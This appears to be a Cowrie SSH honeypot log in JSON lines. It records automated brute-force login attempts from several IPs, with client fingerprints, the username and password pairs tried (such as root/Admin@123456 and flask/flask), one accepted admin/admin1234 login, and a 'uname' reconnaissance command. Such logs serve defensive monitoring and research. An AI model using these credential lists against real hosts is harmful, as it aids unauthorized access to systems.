{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:47.743562Z","src_ip":"176.65.139.103","session":"9ae6e3032dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:48.066657Z","src_ip":"176.65.139.103","session":"9ae6e3032dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"zxcvasdfqwer@1234","message":"login attempt [sol/zxcvasdfqwer@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:48.613971Z","src_ip":"80.94.92.182","session":"c4487cab8b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:49.325860Z","src_ip":"176.65.139.103","session":"9ae6e3032dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:49.829462Z","src_ip":"80.94.92.182","session":"c4487cab8b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47310,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9fec9a3c2b3","protocol":"ssh","message":"New connection: 176.65.139.103:47310 (10.17.0.5:22) [session: a9fec9a3c2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:54.865709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:54.870903Z","src_ip":"176.65.139.103","session":"a9fec9a3c2b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:54.952414Z","src_ip":"176.65.139.103","session":"a9fec9a3c2b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:55.205395Z","src_ip":"176.65.139.103","session":"a9fec9a3c2b3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:55.421843Z","src_ip":"176.65.139.103","session":"a9fec9a3c2b3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:55.425480Z","src_ip":"176.65.139.103","session":"a9fec9a3c2b3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:55.515778Z","src_ip":"176.65.139.103","session":"a9fec9a3c2b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:55.534757Z","src_ip":"176.65.139.103","session":"a9fec9a3c2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":63244,"dst_ip":"10.17.0.5","dst_port":22,"session":"3364dc3558a5","protocol":"ssh","message":"New connection: 52.231.220.210:63244 (10.17.0.5:22) [session: 3364dc3558a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:00.603568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:00.607349Z","src_ip":"52.231.220.210","session":"3364dc3558a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:00.800388Z","src_ip":"52.231.220.210","session":"3364dc3558a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47332,"dst_ip":"10.17.0.5","dst_port":22,"session":"20a6696d1574","protocol":"ssh","message":"New connection: 176.65.139.103:47332 (10.17.0.5:22) [session: 20a6696d1574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:01.336614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:01.340516Z","src_ip":"176.65.139.103","session":"20a6696d1574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:01.421633Z","src_ip":"176.65.139.103","session":"20a6696d1574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zp123456","message":"login attempt [root/zp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:01.602678Z","src_ip":"52.231.220.210","session":"3364dc3558a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:01.695185Z","src_ip":"176.65.139.103","session":"20a6696d1574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:02.797827Z","src_ip":"52.231.220.210","session":"3364dc3558a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:02.810318Z","src_ip":"176.65.139.103","session":"20a6696d1574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37012,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc404676034a","protocol":"ssh","message":"New connection: 159.203.92.129:37012 (159.203.135.109:22) [session: bc404676034a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:03.902029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:03.905783Z","src_ip":"159.203.92.129","session":"bc404676034a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:03.909272Z","src_ip":"159.203.92.129","session":"bc404676034a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123654","message":"login attempt [ansible/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:03.917916Z","src_ip":"159.203.92.129","session":"bc404676034a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:04.924435Z","src_ip":"159.203.92.129","session":"bc404676034a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44438,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1653ab98f1a","protocol":"ssh","message":"New connection: 176.65.139.103:44438 (10.17.0.5:22) [session: b1653ab98f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:07.763585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:07.767250Z","src_ip":"176.65.139.103","session":"b1653ab98f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:07.848785Z","src_ip":"176.65.139.103","session":"b1653ab98f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:08.094578Z","src_ip":"176.65.139.103","session":"b1653ab98f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:09.179832Z","src_ip":"176.65.139.103","session":"b1653ab98f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37592,"dst_ip":"10.17.0.5","dst_port":22,"session":"b68ca1d779cc","protocol":"ssh","message":"New connection: 176.65.139.103:37592 (10.17.0.5:22) [session: b68ca1d779cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:14.183542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:14.188316Z","src_ip":"176.65.139.103","session":"b68ca1d779cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:14.273695Z","src_ip":"176.65.139.103","session":"b68ca1d779cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:14.543834Z","src_ip":"176.65.139.103","session":"b68ca1d779cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:16.003432Z","src_ip":"176.65.139.103","session":"b68ca1d779cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37612,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3c1bf02b61","protocol":"ssh","message":"New connection: 176.65.139.103:37612 (10.17.0.5:22) [session: 3d3c1bf02b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:20.973211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:21.039135Z","src_ip":"176.65.139.103","session":"3d3c1bf02b61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:21.108924Z","src_ip":"176.65.139.103","session":"3d3c1bf02b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:21.489455Z","src_ip":"176.65.139.103","session":"3d3c1bf02b61","protocol":"ssh"}
